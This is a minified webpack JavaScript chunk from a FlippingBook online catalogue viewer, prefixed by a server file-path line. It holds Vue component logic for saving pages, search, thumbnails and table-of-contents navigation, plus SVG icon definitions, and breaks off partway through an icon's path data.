Current File : /mnt/web608/e1/80/59722480/htdocs/katalog/files/html/js/10.js
(globalThis.webpackChunk_flippingbook_publication=globalThis.webpackChunk_flippingbook_publication||[]).push([[10],{462:(t,e,i)=>{"use strict";i.d(e,{Z:()=>s});const s={computed:{fullPdf:function(){return this.$store.state.downloads.allPagesVisible&&this.$store.getters["downloads/getFullPdf"]},customFiles:function(){return this.$store.getters["downloads/getCustomFiles"]},pageFiles:function(){return this.$store.state.downloads.currentPagesVisible&&this.$store.getters["downloads/getPageFiles"]},windowTitle(){return this.$i18n.t("SaveWindow.TITLE")},fullTooltip(){return this.$t("SaveWindow.SAVE_FULL_PUBLICATION_TOOLTIP")},pagesTitle:function(){return{full:this.$t("SaveWindow.FULL_PUBLICATION"),left:this.$t("SaveWindow.SAVE_LEFT_PAGE"),right:this.$t("SaveWindow.SAVE_RIGHT_PAGE"),one:this.$t("SaveWindow.SAVE_CURRENT_PAGE"),withNotes:this.$t("SaveWindow.SAVE_WITH_NOTES"),cancel:this.$t("SaveWindow.CANCEL_BUTTON")}},pagesTooltip:function(){return{full:this.$t("SaveWindow.SAVE_FULL_PUBLICATION_TOOLTIP"),left:this.$t("SaveWindow.SAVE_LEFT_PAGE_TOOLTIP"),right:this.$t("SaveWindow.SAVE_RIGHT_PAGE_TOOLTIP"),one:this.$t("SaveWindow.SAVE_CURRENT_PAGE_TOOLTIP")}},infoMessages:function(){return{info:this.$t("SaveWindow.EMBED_NOTES_INFO"),error:this.$t("SaveWindow.ERROR_MESSAGE"),waiting:this.$t("SaveWindow.WAITING")}},pagerState:function(){return this.$store.getters["pager/legacyState"]}}}},6411:(t,e,i)=>{"use strict";i.d(e,{Z:()=>o});var s=i(1443);const o={methods:{movePagerLeft:function(t){let{target:e}=t;(0,s.oJ)(this.$store,{target:e})},movePagerRight:function(t){let{target:e}=t;(0,s.X0)(this.$store,{target:e})},movePagerLeftmost:function(t){let{target:e=null,navTarget:i=!1}=t;(0,s.tc)(this.$store,{target:e,navTarget:i})},movePagerRightmost:function(t){let{target:e=null,navTarget:i=!1}=t;(0,s.w9)(this.$store,{target:e,navTarget:i})}}}},3866:(t,e,i)=>{"use strict";i.d(e,{Z:()=>s});const s={props:{itemData:{type:[Object,Array],required:!0}},name:"SearchResultItem",computed:{isItemDataArray(){return Array.isArray(this.itemData)},pageId(){return this.isItemDataArray?this.itemData[0].pageId:this.itemData.pageId},textData(){return this.isItemDataArray?this.itemData[0].relevance<=this.itemData[1].relevance?this.itemData[0].text:this.itemData[1].text:this.itemData.text},title:function(){let t;if(this.$store.state.pager.spreadMode)if(this.isItemDataArray){let e=this.$store.getters["pages/pageCaptionById"]({id:this.itemData[0].pageId.toString()}),i=this.$store.getters["pages/pageCaptionById"]({id:this.itemData[1].pageId.toString()});this.$store.state.book.rightToLeft&&([e,i]=[i,e]),t=e+" - "+i}else{const e=this.$store.getters["pages/pageIndexById"](this.pageId.toString()),i=e%2==0?e-1:e+1,s=this.$store.getters["pages/pageIdByIndex"](i);let o=this.$store.getters["pages/pageCaptionById"]({id:this.pageId.toString()});if(s){let r=this.$store.getters["pages/pageCaptionById"]({id:s.toString()});this.$store.state.book.rightToLeft&&([o,r]=[r,o]),t=e>i?r+" - "+o:o+" - "+r}else t=o}else t=this.$store.getters["pages/pageCaptionById"]({id:this.pageId.toString(),forceFullWide:this.itemData.isWide&&!this.itemData.isDivided,widePageSecondHalf:this.itemData.widePageSecondHalf});return this.$i18n.t("SearchToolWindow.PAGE_NUMBER",{0:t})},moreResults(){const t=this.isItemDataArray?this.itemData[0].count+this.itemData[1].count:this.itemData.count,e=this.isItemDataArray?this.itemData[0].relevance<=this.itemData[1].relevance?0:1:null,i=this.isItemDataArray?this.itemData[e].previewCount:this.itemData.previewCount;return t-i>0?"..."+this.$i18n.tc("SearchToolWindow.MORE_RESULTS",t-i,{0:t-i}):null}}}},2248:(t,e,i)=>{"use strict";i.d(e,{Z:()=>r});var s=i(6382),o=i.n(s);const r={data:function(){return{tempTimeout:null,showClear:!1,inputDir:this.$store.getters["i18n/isLocaleRtl"]?"rtl":"ltr"}},computed:{results:function(){return this.$store.state.search.results},progress:function(){return this.$store.getters["search/getProgress"]},isSearching:function(){return 100!==this.progress&&null!==this.progress},isInitializing:function(){return this.$store.getters["search/isInitializing"]},preloaderVisible:function(){return this.isSearching||this.isInitializing&&!this.searchQueryIsEmpty},searchQueryIsEmpty:function(){return 0===this.$store.state.search.query.length},exactMatch:{get:function(){return this.$store.state.search.exactMatch},set:function(t){this.$store.dispatch("search/setExactMatch",{component:"search",value:t}),this.updateSearchQuery()}}},methods:{input:function(t){if(t){if(this.showClear=!0,!t.trim())return}else this.showClear=!1;this.tempTimeout&&clearTimeout(this.tempTimeout),this.tempTimeout=setTimeout((function(){this.$refs.searchInput&&(this.tempTimeout=null,this.$root.log("search.query",this.$refs.searchInput.value),this.updateSearchQuery())}).bind(this),500),this.setInputDir()},updateSearchQuery:function(){let t=this.$refs.searchInput.value;t=t.trim().replace(/\s*(\s)\s*/gm,"$1"),this.$store.dispatch("search/setQuery",{value:t})},clear:function(){this.$refs.searchInput.value&&(this.$store.dispatch("search/setQuery",{value:""}),this.$refs.searchInput.value="",this.showClear=!1,this.$nextTick(this.focusInput)),this.setInputDir()},setInputDir:function(){if(this.$refs.searchInput.value){const t=o().getDirection(this.$refs.searchInput.value);this.inputDir=t?"ltr"===t?"ltr":"rtl":"ltr"}else this.inputDir=this.$store.getters["i18n/isLocaleRtl"]?"rtl":"ltr"}}}},663:(t,e,i)=>{"use strict";i.d(e,{Z:()=>a});var s=i(6382),o=i.n(s),r=i(7503);const a={props:{data:{type:Object,required:!0}},components:{thumb:r.Z},computed:{singleMode(){return this.$store.state.pager.singleMode},textDirection:function(){return o().getDirection(this.data.caption)},itemStyles:function(){const t={};return this.data.size&&(t.width=this.data.size.width+"px",t.height=this.data.size.height+"px"),t},slideMode:function(){return this.$store.state.pager.slideMode},contentCrop:function(){return this.slideMode&&this.$store.state.book.contentCrop}}}},3549:(t,e,i)=>{"use strict";i.d(e,{Z:()=>s});const s={computed:{title:function(){return this.$i18n.t("ThumbnailsToolWindow.TITLE")},isRtl(){return this.$store.state.book.rightToLeft},pagerState(){return this.$store.getters["pager/state"]},singleMode(){return this.pagerState.singleMode},slideMode:function(){return this.pagerState.slideMode},mode:function(){return this.pagerState.mode},contentCrop(){return this.slideMode&&this.$store.state.book.contentCrop},thumbSizes(){return this.getThumbSizes(!1)},thumbDoubleSizes(){return this.getThumbSizes(!0)},hasPages(){return this.$store.getters["pages/pagesCount"]>0},numerationOffset(){return this.$store.state.book.numerationOffset},lowercaseRomans(){return this.$store.state.workspace.lowercaseRomans}}}},3760:(t,e,i)=>{"use strict";i.d(e,{Z:()=>a});var s=i(6382),o=i.n(s),r=i(8531);const a={props:{itemData:{type:Object,required:!0},depth:{type:[Number,String],default:0}},computed:{width:function(){return this.depth<=2?214-20*this.depth:154},pageLabel:function(){return this.$store.getters["pages/pageCaptionByIndex"](this.itemData.page-1)},showPageLabels:function(){return this.$store.state.toc.showPageLabels},itemTitle:function(){return"<span>"+(0,r.jJ)((0,r.m9)(this.itemData.title)).replace(/\n/g,"</span><span>")+"</span>"},textDirection:function(){return o().getDirection(this.itemData.title)},isLocaleRtl(){return this.$store.getters["i18n/isLocaleRtl"]}},methods:{toggleOpen:function(t){this.$store.dispatch("toc/toggleState",this.itemData)},refresh:function(){this.$parent.refresh()}},updated:function(){this.$parent.refresh()},mounted:function(){this.$parent.refresh()}}},8002:(t,e,i)=>{"use strict";i.d(e,{Z:()=>s});const s={computed:{tocItems:function(){return this.$store.state.toc.enabled?this.$store.state.toc.children:[]},level2Items:function(){if(this.$store.state.toc.children)for(let t=0,e=this.$store.state.toc.children.length;t<e;t++)if(this.$store.state.toc.children[t].children)return!0;return!1}},methods:{updateHeight:function(){this.$children[0].refresh()}}}},562:(t,e,i)=>{"use strict";let s;i.d(e,{Z:()=>o});const o={computed:{isPagerMoveWatcherActive(){return this.$store.state.pager.isMoveWatcherActive},isMobile(){return this.$store.getters["workspace/isMobile"]},animationType(){return this.$store.state.workspace.animationType},pagerState:function(){return this.$store.getters["pager/state"]}},watch:{pagerState(t){if(s&&t.zoomMode)return this.$store.dispatch("pager/setMoveWatcher",!1),void(s=!1);const e=this.isMobile?["thumbnails","toc"]:[];this.isPagerMoveWatcherActive&&-1!==e.indexOf(t.target)&&(s=!0,this.$nextTick((()=>{this.$root.$emit("bottomMenu:zoomIn")})))},animationType(t,e){this.isPagerMoveWatcherActive&&!t&&"pagerMove"===e&&(s=!0,this.$nextTick((()=>{this.$root.$emit("bottomMenu:zoomIn"),"history"===this.$store.state.pager.lastTarget&&(this.$store.dispatch("pager/setMoveWatcher",!1),s=!1)})))}}}},1083:(t,e,i)=>{i(4147).register({accessibility:{width:36,height:36,viewBox:"0 0 24 24",data:'<path pid="0" d="M20.5 6c-2.61.7-5.67 1-8.5 1s-5.89-.3-8.5-1L3 8c1.86.5 4 .83 6 1v13h2v-6h2v6h2V9c2-.17 4.14-.5 6-1l-.5-2zM12 6c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2z"/>'}})},8856:(t,e,i)=>{i(4147).register({"add-note":{width:16,height:16,viewBox:"0 0 24 24",data:'<path pid="0" d="M3 3v13h6l3 5 3-5h6V3H3zm5 6h3V6h2v3h3v2h-3v3h-2v-3H8V9z"/>'}})},607:(t,e,i)=>{i(4147).register({"arrow-down":{width:16,height:16,viewBox:"0 0 24 24",data:'<path pid="0" d="M12 16.772c.31 0 .62-.124.836-.341l7.597-7.132c.496-.465.527-1.24.062-1.767-.465-.496-1.24-.527-1.767-.062l-6.729 6.356-6.76-6.325c-.495-.465-1.27-.434-1.767.062-.465.496-.434 1.271.062 1.767l7.597 7.132c.248.186.558.31.868.31z"/>'}})},464:(t,e,i)=>{i(4147).register({"book-first":{width:16,height:16,viewBox:"0 0 24 24",data:'<path pid="0" d="M10.468 10.61a2.005 2.005 0 000 2.838l6.262 6.258a1 1 0 00.71.294 1 1 0 00.71-.294 1 1 0 000-1.42l-6.263-6.258 6.319-6.315a1.005 1.005 0 00-1.42-1.42l-6.318 6.316zM6 5.98v12.04c0 .556.45 1.004 1.004 1.004.556 0 1.005-.448 1.005-1.004V5.98c0-.555-.449-1.004-1.005-1.004C6.45 4.976 6 5.425 6 5.98z"/>'}})},925:(t,e,i)=>{i(4147).register({"book-last":{width:16,height:16,viewBox:"0 0 24 24",data:'<path pid="0" d="M8.22 4.303A1.003 1.003 0 106.8 5.721l6.313 6.307-6.256 6.252a1 1 0 00.71 1.711 1 1 0 00.709-.294l6.255-6.251a2.004 2.004 0 000-2.836L8.22 4.303zm9.77.68c-.555 0-1.003.45-1.003 1.003v12.028a1.002 1.002 0 102.006 0V5.986c0-.553-.449-1.003-1.003-1.003z"/>'}})},9036:(t,e,i)=>{i(4147).register({"book-next":{width:16,height:16,viewBox:"0 0 24 24",data:'<path pid="0" d="M8.872 22.991a1.799 1.799 0 01-1.272-3.07l7.884-7.885-7.956-7.957a1.798 1.798 0 112.543-2.543l8.592 8.593c.509.508.789 1.186.789 1.908 0 .721-.28 1.4-.789 1.907l-8.52 8.52a1.79 1.79 0 01-1.271.527z"/>'}})},6965:(t,e,i)=>{i(4147).register({"book-prev":{width:16,height:16,viewBox:"0 0 24 24",data:'<path pid="0" d="M14.312 22.461l-8.519-8.52a2.676 2.676 0 01-.788-1.905c0-.721.28-1.4.788-1.908l8.59-8.592a1.8 1.8 0 012.543 2.543l-7.954 7.956 7.882 7.882a1.8 1.8 0 01-2.542 2.544z"/>'}})},2731:(t,e,i)=>{i(4147).register({cancel:{width:16,height:16,viewBox:"0 0 24 24",data:'<path pid="0" d="M3 4.414L10.586 12 3 19.586 4.414 21 12 13.414 19.586 21 21 19.586 13.414 12 21 4.414 19.586 3 12 10.586 4.414 3z"/>'}})},3374:(t,e,i)=>{i(4147).register({"chevron-right":{width:24,height:24,viewBox:"0 0 24 24",data:'<path pid="0" fill-rule="evenodd" clip-rule="evenodd" d="M9.663 6.033a1 1 0 011.414 0l5.26 5.26a1 1 0 010 1.414l-5.26 5.26a1 1 0 01-1.414-1.414L14.216 12 9.663 7.447a1 1 0 010-1.414z" _fill="#354353"/>'}})},1691:(t,e,i)=>{i(4147).register({cross:{width:24,height:24,viewBox:"0 0 24 24",data:'<path pid="0" fill-rule="evenodd" clip-rule="evenodd" d="M16.707 7.293a1 1 0 010 1.414l-8 8a1 1 0 01-1.414-1.414l8-8a1 1 0 011.414 0z" _fill="#354353"/><path pid="1" fill-rule="evenodd" clip-rule="evenodd" d="M7.293 7.293a1 1 0 011.414 0l8 8a1 1 0 01-1.414 1.414l-8-8a1 1 0 010-1.414z" _fill="#354353"/>'}})},5274:(t,e,i)=>{i(4147).register({"down-arrow":{width:16,height:16,viewBox:"0 0 16 16",data:'<path pid="0" d="M13.998 5.003H2.009l5.983 5.99 6.006-5.99"/>'}})},2209:(t,e,i)=>{i(4147).register({drag:{width:16,height:16,viewBox:"0 0 100 100",data:'<path pid="0" d="M24.6 63.2c1.4 1.5 3.8 1.6 5.3.2s1.6-3.8.2-5.3l-.2-.2-4.2-4.2h21v21l-4.2-4.2c-1.4-1.5-3.8-1.6-5.3-.2-1.5 1.4-1.6 3.8-.2 5.3l.2.2 10.6 10.6c1.5 1.5 3.8 1.5 5.3 0l10.5-10.6c1.5-1.4 1.6-3.8.2-5.3-1.4-1.5-3.8-1.6-5.3-.2l-.2.2-4.2 4.2v-21h21L71 57.9c-1.5 1.4-1.6 3.8-.2 5.3 1.4 1.5 3.8 1.6 5.3.2l.2-.2 10.6-10.6c1.5-1.5 1.5-3.8 0-5.3L76.2 36.7c-1.4-1.5-3.8-1.6-5.3-.2-1.5 1.4-1.6 3.8-.2 5.3l.2.2 4.2 4.2h-21v-21l4.2 4.2c1.4 1.5 3.8 1.6 5.3.2s1.6-3.8.2-5.3l-.2-.2-10.5-10.5c-1.5-1.5-3.8-1.5-5.3 0L37.2 24.2c-1.5 1.4-1.6 3.8-.2 5.3 1.4 1.5 3.8 1.6 5.3.2l.2-.2 4.2-4.2v21h-21l4.2-4.2c1.5-1.4 1.6-3.8.2-5.3-1.4-1.5-3.8-1.6-5.3-.2l-.2.2L14 47.3c-1.5 1.5-1.5 3.8 0 5.3l10.6 10.6z"/>'}})},9074:(t,e,i)=>{i(4147).register({equalizer:{width:100,height:100,viewBox:"0 0 100 100",data:'<path pid="0" d="M76.667 23.333V20a3.344 3.344 0 00-3.334-3.333H60A3.344 3.344 0 0056.667 20v3.333H10V30h46.667v3.333c0 1.833 1.5 3.333 3.333 3.333h13.333c1.833 0 3.334-1.5 3.334-3.333V30H90v-6.667H76.667zM70 30h-6.667v-6.667H70V30zM43.333 46.667v-3.333C43.333 41.5 41.833 40 40 40H26.667a3.344 3.344 0 00-3.334 3.333v3.333H10v6.667h13.333v3.332a3.344 3.344 0 003.334 3.334H40c1.833 0 3.333-1.5 3.333-3.334v-3.332H90v-6.667H43.333zm-6.666 6.667H30v-6.667h6.667v6.667zM70 70v-3.334a3.343 3.343 0 00-3.333-3.332H53.333A3.343 3.343 0 0050 66.666V70H10v6.666h40V80a3.345 3.345 0 003.333 3.334h13.334A3.345 3.345 0 0070 80v-3.334h20V70H70zm-6.667 6.666h-6.666V70h6.666v6.666z"/>'}})},5903:(t,e,i)=>{i(4147).register({fullscreen:{width:16,height:16,viewBox:"0 0 24 24",data:'<path pid="0" d="M6.733 5.1l2.1-2.1H3v5.833l2.1-2.1 2.8 2.8A1.167 1.167 0 109.533 7.9l-2.8-2.8zM18.9 17.328l-2.8-2.869a1.18 1.18 0 00-1.633-.23 1.135 1.135 0 000 1.837l2.916 2.754L15.167 21H21v-5.738l-2.1 2.066zm-3.014-7.664l2.854-2.806L21 8.845V3h-5.947l2.141 2.104L14.34 7.91a1.155 1.155 0 000 1.637.96.96 0 001.546.117zm-7.857 4.673L5.222 17.26 3 15.156v5.847h5.847l-2.105-2.105 2.924-2.807a1.17 1.17 0 000-1.637 1.052 1.052 0 00-1.637-.117z"/>'}})},5843:(t,e,i)=>{i(4147).register({"mobile-left":{width:16,height:16,viewBox:"0 0 24 40",data:'<path pid="0" d="M19.172 38L2.583 21.414a2.006 2.006 0 010-2.828L19.168 2l2.828 2.828L6.826 20 22 35.172 19.172 38z"/>'}})},9117:(t,e,i)=>{i(4147).register({"mobile-right":{width:16,height:16,viewBox:"0 0 24 40",data:'<path pid="0" d="M4.828 2l16.589 16.586c.777.778.777 2.05 0 2.828L4.832 38l-2.828-2.828L17.174 20 2 4.828 4.828 2z"/>'}})},2150:(t,e,i)=>{i(4147).register({"note-content":{width:16,height:16,viewBox:"0 0 24 24",data:'<path pid="0" d="M5.6 7.673c-.96 0-1.6-.534-1.6-1.335 0-.8.64-1.334 1.6-1.334h12.8c.96 0 1.6.534 1.6 1.334 0 .801-.64 1.335-1.6 1.335H5.6zm7.543 6.673h-7.62C4.61 14.346 4 13.812 4 13.012c0-.801.61-1.335 1.524-1.335h7.619c.914 0 1.524.534 1.524 1.335 0 .8-.61 1.334-1.524 1.334zM0 2v15.902h7.5L12 24l4.5-6.098H24V2H0z"/>'}})},6722:(t,e,i)=>{i(4147).register({"open-link":{width:16,height:16,viewBox:"0 0 24 24",data:'<path pid="0" d="M4 5.5C4 4.75 4.75 4 5.5 4H12v2H7c-.42 0-1 .583-1 1.005V17c0 .422.58 1 1 1h10c.42 0 1-.578 1-1v-5h2v6.5c0 .75-.75 1.5-1.5 1.5h-13c-.75 0-1.5-.75-1.5-1.75V5.5zM13.715 3H21l-.002 7.428L18.33 7.74 13.11 13 11 10.874l5.264-5.305L13.715 3z"/>'}})},5958:(t,e,i)=>{i(4147).register({"rounded-close":{width:16,height:16,viewBox:"0 0 16 16",data:'<path pid="0" d="M8.003 1.007A6.996 6.996 0 1015 8.003a6.988 6.988 0 00-6.98-6.996h-.016zm2.881 8.89a.312.312 0 010 .493l-.494.494a.312.312 0 01-.494 0L8.003 8.991 6.11 10.884a.312.312 0 01-.494 0l-.493-.494a.312.312 0 010-.494l1.893-1.893L5.123 6.11a.304.304 0 010-.494l.493-.493a.304.304 0 01.494 0l1.893 1.893 1.893-1.893a.312.312 0 01.494 0l.494.493a.312.312 0 010 .494L8.991 8.003l1.893 1.893z"/>'}})},6010:(t,e,i)=>{i(4147).register({search:{width:24,height:24,viewBox:"0 0 24 24",data:'<path pid="0" d="M15.49 17.61A8.144 8.144 0 0111.14 19c-4.452-.102-8.038-3.625-8.14-8 .036-4.35 3.575-7.89 8-8 4.425.112 7.965 3.65 8 8a7.813 7.813 0 01-1.38 4.499l4.451 4.45-2.121 2.122-4.46-4.46zM11.104 17c3.3-.09 5.919-2.757 5.895-6-.026-3.263-2.681-5.916-6-6-3.319.083-5.973 2.737-6 6 .077 3.281 2.766 5.923 6.105 6z"/>'}})},169:(t,e,i)=>{i(4147).register({text:{width:16,height:16,viewBox:"0 0 30 30",data:'<g fill-rule="evenodd"><path pid="0" fill-rule="nonzero" d="M25.642 16.116a1.647 1.647 0 00-.267-.716c-.208-.287-.532-.43-.97-.43-.625 0-1.053.31-1.283.931-.121.33-.182.768-.182 1.315 0 .521.06.94.182 1.257.222.59.638.885 1.25.885.434 0 .743-.117.925-.351.182-.235.293-.539.332-.912h1.894c-.043.564-.247 1.098-.612 1.602-.581.811-1.443 1.217-2.584 1.217-1.142 0-1.982-.338-2.52-1.016-.538-.677-.807-1.556-.807-2.636 0-1.22.297-2.168.892-2.845s1.415-1.016 2.46-1.016c.89 0 1.619.2 2.185.599.567.4.902 1.105 1.006 2.116h-1.901z"/><path pid="1" d="M3 8h16v15H3V8zm12.9 5.414c-.517 0-.942.109-1.276.326-.282.173-.54.425-.775.755v-3.412H12v9.584h1.816v-.892c.248.347.478.59.69.729.356.234.827.351 1.413.351.933 0 1.66-.362 2.181-1.087.521-.725.782-1.638.782-2.74 0-1.064-.264-1.932-.792-2.605-.527-.673-1.257-1.009-2.19-1.009zm-.476 5.912c-.55 0-.96-.2-1.23-.6-.27-.399-.404-.902-.404-1.51 0-.516.065-.937.196-1.263.251-.612.714-.918 1.386-.918.664 0 1.12.313 1.368.938.13.33.195.746.195 1.25 0 .629-.132 1.137-.397 1.523-.265.386-.636.58-1.114.58zm-7.03-2.11v.69c-.012.62-.187 1.048-.524 1.283a1.89 1.89 0 01-1.103.351.992.992 0 01-.641-.211c-.176-.141-.264-.37-.264-.687 0-.356.143-.619.43-.788.169-.1.449-.184.84-.254l.416-.078c.209-.039.372-.081.492-.127.12-.045.237-.105.355-.179zm-1.126-.866l-.631.078c-.716.092-1.259.243-1.628.456C4.336 17.274 4 17.906 4 18.78c0 .672.21 1.192.628 1.559.42.367.95.55 1.592.55.504 0 .955-.115 1.354-.345.334-.195.63-.432.886-.71.013.16.03.304.052.43.021.126.06.26.117.404h2.018v-.274a.665.665 0 01-.273-.215c-.061-.086-.098-.251-.111-.494a31.08 31.08 0 01-.013-.82v-3.256c0-.855-.302-1.437-.905-1.745-.603-.308-1.293-.462-2.07-.462-1.194 0-2.036.313-2.526.938-.308.399-.482.909-.521 1.53h1.79c.044-.274.13-.491.26-.652.183-.217.493-.325.932-.325.39 0 .686.055.888.166.202.11.303.311.303.602 0 .239-.132.415-.397.527-.148.066-.393.12-.736.163zM19 5h1v21h-1zM17 4h5v1h-5zM17 26h5v1h-5z"/></g>'}})},5606:(t,e,i)=>{i(4147).register({thumbnails:{width:16,height:16,viewBox:"0 0 24 24",data:'<path pid="0" d="M9 3c.6 0 1 .4 1 1v5c0 .6-.4 1-1 1H4c-.6 0-1-.4-1-1V4c0-.6.4-1 1-1h5zm11 0c.6 0 1 .4 1 1v5c0 .6-.4 1-1 1h-5c-.6 0-1-.4-1-1V4c0-.6.4-1 1-1h5zM9 14c.6 0 1 .4 1 1v5c0 .6-.4 1-1 1H4c-.6 0-1-.4-1-1v-5c0-.6.4-1 1-1h5zm11 0c.6 0 1 .4 1 1v5c0 .6-.4 1-1 1h-5c-.6 0-1-.4-1-1v-5c0-.6.4-1 1-1h5z"/>'}})},6062:(t,e,i)=>{i(4147).register({"trash-can":{width:16,height:16,viewBox:"0 0 24 24",data:'<path pid="0" d="M15.976 17.862c0 .607-.414 1.138-.885 1.138H8.893c-.47 0-.869-.513-.869-1.12L8.002 8H16l-.023 9.862zM20 6h-5V4.466C15 3.66 14.853 3 14.013 3h-3.858C9.315 3 9 3.659 9 4.466V6H4v2h2v10c0 1.843 1.153 3 2.893 3h6.198C16.84 21 18 19.852 18 18V8h2V6z"/><path pid="1" d="M13 18h1V9h-1zM10 18h1V9h-1z"/>'}})},6177:(t,e,i)=>{i(4147).register({error:{width:16,height:16,viewBox:"0 0 128 128",data:'<path pid="0" d="M64 23.9a39.47 39.47 0 11-39.47 39.47A39.52 39.52 0 0164 23.9m0-10a49.47 49.47 0 1049.47 49.47A49.47 49.47 0 0064 13.9z"/><path pid="1" d="M30.207 90.732l60.507-60.508 7.071 7.072-60.507 60.507z"/>'}})},5284:(t,e,i)=>{i(4147).register({"made-with":{width:119,height:30,viewBox:"0 0 119 30",data:'<path pid="0" d="M27.102 26.063c0 .29-.233.525-.525.525h-1.052a.525.525 0 01-.525-.525V15.052c0-.355.3-.526.497-.526h6.337c.29 0 .524.232.524.524v1.05c0 .289-.237.524-.524.524H27.21a.105.105 0 00-.108.102v2.68c0 .056.047.102.105.102h3.836c.29 0 .527.233.527.524v1.05c0 .29-.234.524-.527.524h-3.836a.105.105 0 00-.105.106v4.35zm8.672-11.538A.525.525 0 0035.25 14l-1.052.13c-.396.05-.525.236-.525.525 0 0-.006 9.801 0 9.833-.006 1.37 1.127 2.104 2.102 2.099.976-.006.528.005.528.005a.53.53 0 00.523-.529V24.89c0-.23-.187-.4-.387-.4h-.27a.384.384 0 01-.394-.374v-9.59zm3.416 2.885h1.053c.29 0 .524.183.524.526v8.126c0 .29-.233.526-.524.526H39.19a.526.526 0 01-.525-.526v-8.126c0-.29.14-.526.525-.526zm-.525-2.36a1.051 1.051 0 012.102 0 1.05 1.05 0 01-2.102 0zm4.207 5.198a25.36 25.36 0 01-.002-.32v.364a3.148 3.148 0 013.154-3.144h.788a3.151 3.151 0 013.153 3.146v3.41a3.149 3.149 0 01-3.155 3.146h-.26a3.49 3.49 0 01-1.578-.387v2.484c0 .29-.233.525-.525.525h-1.052a.525.525 0 01-.525-.525v-8.652c0-.016 0-.031.002-.047zm2.1.044v3.414c0 .72.589 1.308 1.314 1.308h.263c.725 0 1.314-.585 1.314-1.308v-3.414c0-.72-.589-1.309-1.314-1.309h-.263c-.725 0-1.314.586-1.314 1.309zm6.835-.044a25.36 25.36 0 01-.002-.32v.364a3.148 3.148 0 013.153-3.144h.789a3.152 3.152 0 013.154 3.146v3.41a3.149 3.149 0 01-3.156 3.146h-.26c-.552 0-1.091-.14-1.578-.387v2.484c0 .29-.233.525-.525.525H52.33a.525.525 0 01-.525-.525v-8.652c0-.016 0-.031.002-.047zm2.1.044v3.414c0 .72.589 1.308 1.315 1.308h.262c.725 0 1.314-.585 1.314-1.308v-3.414c0-.72-.588-1.309-1.314-1.309h-.262c-.726 0-1.315.586-1.315 1.309zm7.358-2.882h1.052c.29 0 .525.183.525.526v8.126c0 .29-.233.526-.525.526h-1.052a.526.526 0 01-.525-.526v-8.126c0-.29.165-.526.525-.526zm-.525-2.36a1.051 1.051 0 012.102 0 1.05 1.05 0 01-2.102 0zm4.73 11.538h1.052a.523.523 0 00.525-.526v-5.767c0-.725.588-1.312 1.315-1.312h.262c.725 0 1.314.588 1.314 1.31v5.779a.52.52 0 00.524.523l1.053-.005a.526.526 0 00.525-.526v-5.77a3.15 3.15 0 00-3.153-3.146h-.789c-.488 0-.95.11-1.362.307a.52.52 0 00-.214-.045H65.47a.524.524 0 00-.525.526v8.126a.524.524 0 00.525.526zm15.773-6.581c0 .286-.01.524-.02.858.002.63.016 2.596.009 4.742-.008 2.552-1.31 4.136-3.668 4.128h-.265c-1.79.013-2.91-1.157-2.91-1.157a.414.414 0 01.016-.577l.72-.79c.156-.14.288-.1.412 0 .123.098.733.843 2.027.816.764-.015 1.59-.482 1.59-1.567-.519.287-.995.393-1.595.393h-.26a3.149 3.149 0 01-3.155-3.147v-3.41a3.151 3.151 0 013.153-3.146h.789a3.148 3.148 0 013.153 3.144l.004-.287zm-2.106.287c0-.723-.588-1.309-1.314-1.309h-.262c-.726 0-1.314.59-1.314 1.31v3.413c0 .723.588 1.309 1.314 1.309h.262c.726 0 1.314-.59 1.314-1.309v-3.414zm9.458 6.294H84.13a.525.525 0 01-.526-.527v-11.01c0-.29.233-.526.526-.526h4.337a3.15 3.15 0 013.153 3.147 3.141 3.141 0 01-1.312 2.556 3.405 3.405 0 011.706 2.951 3.413 3.413 0 01-3.418 3.409zm-.262-4.982h-2.52a.103.103 0 00-.107.102v2.68c0 .057.047.102.106.102h2.521c.797 0 1.446-.646 1.446-1.442 0-.795-.647-1.442-1.446-1.442zm-.394-5.245h-2.125a.105.105 0 00-.108.105v2.937c0 .06.048.105.108.105h2.125c.871 0 1.577-.705 1.577-1.574 0-.867-.706-1.573-1.577-1.573zm5.65 3.933a3.149 3.149 0 013.154-3.146h.789a3.151 3.151 0 013.153 3.146v3.41a3.15 3.15 0 01-3.153 3.146h-.789a3.151 3.151 0 01-3.153-3.147v-3.409zm2.103-.002v3.414c0 .72.589 1.308 1.314 1.308h.263c.726 0 1.314-.585 1.314-1.308v-3.414c0-.72-.588-1.309-1.314-1.309h-.263c-.725 0-1.314.586-1.314 1.309zm6.307.002a3.15 3.15 0 013.154-3.146h.788a3.151 3.151 0 013.154 3.146v3.41a3.15 3.15 0 01-3.154 3.146h-.788a3.151 3.151 0 01-3.154-3.147v-3.409zm2.077-.002v3.414c0 .72.588 1.308 1.314 1.308h.262c.726 0 1.314-.585 1.314-1.308v-3.414c0-.72-.588-1.309-1.314-1.309h-.262c-.726 0-1.314.586-1.314 1.309zm11.949 5.975c.094.113.286.323.43.323h1.841c.25 0 .31-.286.215-.41l-3.785-4.566c1.911-1.227 2.738-3.59 2.773-3.804.035-.213-.044-.387-.331-.387h-1.359c-.378 0-.392.296-.514.507-.122.212-.569 1.807-2.517 2.726V14.79a.525.525 0 00-.526-.525H111.2c-.349 0-.526.261-.526.525v11.277c0 .29.236.524.526.524h1.052a.523.523 0 00.525-.524V22.4l3.247 3.867zM.009 27.961A1.163 1.163 0 010 27.813V14.145c0-.1.014-.199.038-.291.189-1.038 1.075-1.826 2.144-1.833.332-.001.648.072.932.206l5.899 3.126-.004-.001c.02-.013.156-.104.208-.133l5.67-3.013c.282-.134.599-.208.931-.206 1.138.008 2.07.902 2.173 2.038.006.05.009.098.009.148v13.669c0 .1-.013.199-.038.292-.189 1.037-1.075 1.825-2.144 1.832a2.144 2.144 0 01-.932-.206L8.991 26.65c-.02.012-.156.103-.208.132l-5.67 3.013c-.283.134-.599.208-.931.206-1.138-.008-2.07-.902-2.173-2.038zm2.635-.556l5.242-2.712a1.746 1.746 0 00.58-2.37l-.001.001.004-.003-.771-1.353a3.96 3.96 0 01-.65-2.057c-.02-.66.122-1.287.39-1.845l.008.005-4.803-2.455a.468.468 0 00-.642.43v1.47H2V26.976a.466.466 0 00.644.43zm13.354-.451v-1.47H16V15.026a.466.466 0 00-.643-.43l-5.243 2.712a1.746 1.746 0 00-.579 2.37l.001-.001-.005.002.771 1.354c.39.593.626 1.297.65 2.056.02.66-.122 1.288-.39 1.845l4.795 2.45a.467.467 0 00.643-.431z"/><path pid="1" class="made-with" fill-rule="evenodd" d="M13.102 2.543c.73 0 1.303.183 1.717.548.414.365.629.868.645 